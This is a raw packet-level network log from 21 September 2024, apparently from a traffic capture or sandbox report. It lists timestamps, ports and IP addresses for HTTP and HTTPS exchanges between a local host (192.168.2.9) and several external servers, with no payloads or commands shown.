Sep 21, 2024 13:33:42.565375090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565435886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565450907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565465927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565481901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565498114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.565510988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.565510988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.565510988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.565596104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567562103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567583084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567596912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567610979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567626953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567631960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567631960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567643881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567652941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567661047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567667961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567675114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567675114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567683935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.567713976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567713976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567857981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.567879915 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.568033934 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.568085909 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.568178892 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.568614960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.568852901 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.568869114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.568913937 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.568913937 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570430040 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570449114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570465088 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570482016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570488930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570497990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570507050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570518017 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570535898 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570535898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570554018 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570563078 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570569992 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570580006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570585966 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570604086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.570626020 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570661068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570661068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.570666075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.570705891 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.570839882 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.570844889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.570944071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.570960999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.570975065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.570990086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571006060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571022034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571022034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571079969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571096897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571111917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571120024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571120024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571127892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571144104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571156025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571156025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571157932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571171999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571186066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.571190119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571190119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571208954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571278095 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.571382046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.571454048 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.572624922 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.572734118 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.574004889 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.574018955 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.574078083 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.574090004 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.574116945 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.574136019 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.574153900 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.574153900 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.574182987 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.575640917 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.575686932 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.575711966 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.575722933 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.575747013 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.575756073 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.579226017 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.579302073 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.580188036 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580210924 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580229044 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580245972 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580280066 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.580893993 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580909014 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580912113 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.580924988 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580940962 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580955029 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580970049 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.580971003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.580971003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.580985069 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581001043 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581016064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581017971 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581017971 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581031084 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581054926 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581054926 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581119061 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581764936 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581779003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581794977 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581813097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581828117 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581842899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581855059 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581855059 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581855059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581871986 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581881046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581881046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581890106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581897974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581914902 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.581929922 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581929922 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.581960917 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583622932 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583640099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583653927 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583662033 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583669901 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583683968 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583692074 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583707094 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583722115 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583738089 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583746910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583746910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583753109 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583770037 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583784103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583787918 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583787918 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583801031 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.583837032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583837032 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.583899975 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.584876060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584892035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584907055 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584920883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584935904 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584952116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584969044 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.584996939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.584996939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.584996939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.584996939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.584996939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.585024118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.586886883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.586920977 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.586963892 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.586998940 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.587011099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587011099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587033987 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.587065935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.587075949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587075949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587100983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.587137938 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.587147951 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587147951 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.587188959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590257883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590303898 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590337038 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590369940 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590372086 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590405941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590425014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590425014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590439081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590476990 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590482950 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590482950 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590508938 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590542078 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590552092 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590552092 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590574980 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590607882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590615034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590615034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590642929 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590675116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590682030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590682030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590707064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590742111 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590753078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590753078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590774059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590806007 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590816021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590816975 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590840101 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590873003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590893030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590893030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590902090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590934992 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590945959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590945959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.590974092 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.590976000 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.591002941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.591047049 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.591048002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.595196009 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.595418930 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.596823931 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.596894979 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.596946001 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.596960068 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.597053051 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.597053051 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.601259947 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601283073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601300001 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601341009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.601366043 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.601492882 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601511955 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601526976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601540089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.601545095 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.601563931 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.601572037 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.601603031 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.607311964 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.607409000 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.609010935 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.609096050 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.623051882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623074055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623087883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623095989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623102903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623116970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623135090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.623182058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.623182058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.629906893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.629964113 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630034924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630073071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630096912 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630125999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630131006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630160093 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630172014 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630198956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630207062 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630235910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.630244017 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.630280972 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.631834030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.631871939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.631901979 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.631906033 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.631926060 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.631938934 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.631966114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.631974936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632009029 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632030964 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632044077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632066011 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632077932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632102013 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632111073 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632128954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632148981 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632177114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632222891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632673979 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632709026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632736921 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632741928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632751942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632776976 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632812977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.632826090 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.632947922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643136978 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643170118 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643208027 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643218040 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643248081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643248081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643362999 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643416882 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643419981 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643455982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643472910 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643488884 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643503904 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643523932 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643537045 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643569946 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.643620014 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643654108 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.643667936 CEST	49708	80	192.168.2.9	147.45.44.104
